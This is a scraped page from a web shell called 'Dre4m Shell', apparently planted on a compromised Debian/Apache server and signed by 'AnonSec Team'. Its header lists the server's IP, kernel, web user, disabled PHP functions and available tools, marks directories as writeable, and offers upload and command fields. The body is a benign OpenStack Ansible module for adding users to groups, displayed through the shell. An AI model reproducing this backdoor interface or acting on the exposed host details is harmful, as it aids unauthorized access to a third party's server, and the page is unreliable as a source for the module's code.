Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 13.59.141.124
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/ansible_collections/openstack/cloud/plugins/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/ansible_collections/openstack/cloud/plugins/modules/os_user_group.py
#!/usr/bin/python
# Copyright (c) 2015 Hewlett-Packard Development Company, L.P.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

DOCUMENTATION = '''
---
module: group_assignment
short_description: Associate OpenStack Identity users and groups
author: OpenStack Ansible SIG
description:
    - Add and remove users from groups
options:
   user:
     description:
        - Name or id for the user
     required: true
     type: str
   group:
     description:
        - Name or id for the group.
     required: true
     type: str
   state:
     description:
       - Should the user be present or absent in the group
     choices: [present, absent]
     default: present
     type: str
requirements:
    - "python >= 3.6"
    - "openstacksdk"

extends_documentation_fragment:
- openstack.cloud.openstack
'''

EXAMPLES = '''
# Add the demo user to the demo group
- openstack.cloud.group_assignment:
  cloud: mycloud
  user: demo
  group: demo
'''

from ansible_collections.openstack.cloud.plugins.module_utils.openstack import OpenStackModule


class IdentityGroupAssignment(OpenStackModule):
    argument_spec = dict(
        user=dict(required=True),
        group=dict(required=True),
        state=dict(default='present', choices=['absent', 'present']),
    )

    module_kwargs = dict(
        supports_check_mode=True
    )

    def _system_state_change(self, state, in_group):
        if state == 'present' and not in_group:
            return True
        if state == 'absent' and in_group:
            return True
        return False

    def run(self):
        user = self.params['user']
        group = self.params['group']
        state = self.params['state']

        in_group = self.conn.is_user_in_group(user, group)

        if self.ansible.check_mode:
            self.exit_json(changed=self._system_state_change(state, in_group))

        changed = False
        if state == 'present':
            if not in_group:
                self.conn.add_user_to_group(user, group)
                changed = True

        elif state == 'absent':
            if in_group:
                self.conn.remove_user_from_group(user, group)
                changed = True

        self.exit_json(changed=changed)


def main():
    module = IdentityGroupAssignment()
    module()


if __name__ == '__main__':
    main()

Anon7 - 2022
AnonSec Team